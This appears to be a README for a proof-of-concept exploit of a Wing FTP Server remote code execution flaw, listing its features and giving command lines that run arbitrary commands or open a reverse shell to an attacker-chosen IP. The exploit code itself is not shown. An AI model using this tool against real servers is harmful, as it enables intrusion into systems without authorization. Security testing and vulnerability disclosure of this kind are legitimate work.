CVE-2025-47812 - Wing FTP Server RCE Exploit

This repository provides a proof-of-concept exploit for CVE-2025-47812, a remote command execution (RCE) vulnerability in Wing FTP Server. An attacker can inject and execute arbitrary Lua-based system commands by abusing the username parameter during authentication, resulting in full remote code execution.

📌 Exploit Features

• 🔧 Remote execution of custom shell commands
• 🧬 Multiple built-in reverse shell payloads (bash, Python, netcat, etc.)
• 🪪 Automatic UID extraction from Set-Cookie
• 📦 Logs successful UIDs to found_uids.txt
• 🧪 Dry-run mode (no actual requests sent — test your input/output logic safely)
• 🔁 Retry logic on network failure
• 🧹 Cleaner payload formatting and readable output
• ✅ Input validation for IPs, ports, and URLs
• ⚙️ Command-line argument support for automated workflows

💻 Usage

Execute a simple shell command:

python3 CVE-2025-47812.py --url http://target:5466 --cmd "id"

Trigger a reverse shell:

python3 CVE-2025-47812.py --url http://target:5466 --reverse --ip YOUR_IP --port 4444

Dry-run mode (no requests will be sent):

python3 CVE-2025-47812.py --url http://target:5466 --cmd "whoami" --dry-run

🔄 Changes Made to the Original Exploit

⚠️ Disclaimer

This project is intended for educational and authorized security testing only.
Do not use this tool against systems you do not own or have explicit permission to test.